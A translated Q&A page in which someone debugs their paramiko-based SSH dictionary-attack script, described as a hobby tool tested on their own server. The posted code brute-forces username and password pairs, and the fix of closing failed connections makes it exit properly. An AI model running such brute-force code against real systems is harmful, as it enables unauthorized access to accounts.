繁体   English   中英

Python脚本似乎正在挂起

[英]Python script seems to be hanging

我有一台SSH服务器,我一直在测试一个脚本,该脚本执行基于字典的攻击。 通常,我使用单个username:password组合文件并循环浏览,但是最近我决定修改自己的爱好脚本,以允许使用单独的用户名和密码组合。 我认为这将是一个简单的嵌套循环(我选择将密码存储在列表中,而不是用于用户名的文件中)。 不幸的是,添加第二个循环似乎已导致程序挂起,原因是我无法查明。 我觉得我在这里遗漏了一些难以置信的东西。 该程序可以正常执行并按预期工作,但似乎从未真正返回过……该脚本只是在找到正确的组合后挂起,并且从未正确退出过……我必须手动终止它。 令人讨厌的代码块在下面...这是我从主脚本调用的类中较大方法的一部分。 该方法被调用,然后主脚本退出,因此没有任何东西会导致这种情况。

with open(self.pwds) as p:
    pwords = p.read().splitlines()
    try:
        format_text = colored('WARNING', 'yellow', attrs=['underline'])
    except:
        format_text = "WARNING"
    print (format_text, "warning_message")
    with open(self.words) as w:
        for line in w:
            line = line.replace("\n", "")
            user = line
            for x in pwords:
                passw = x
                print ("Trying: ", user, ":", passw)
                s = paramiko.SSHClient()
                s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                try:
                    s.connect(self.target, username=user, password=passw, timeout=3)
                except paramiko.ssh_exception.AuthenticationException:
                    try:
                        format_text = colored('FAILED', 'red')
                    except:
                        format_text = 'FAILED'
                        print (format_text)
                else:
                    print ("SUCCESS!")
                    s.close()
                    return;

谢谢大家为解决这个问题所做的尝试。 我找到了答案。 即使在失败的情况下,我也需要关闭SSH连接,如下所示。

                try:
                    s.connect(self.target, username=user, password=passw, timeout=3)
                except paramiko.ssh_exception.AuthenticationException:
                    try:
                        format_text = colored('FAILED', 'red')
                    except:
                        format_text = 'FAILED'
                        print (format_text)
                        s.close()
                else:
                    print ("SUCCESS!")
                    s.close()
                    return;

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM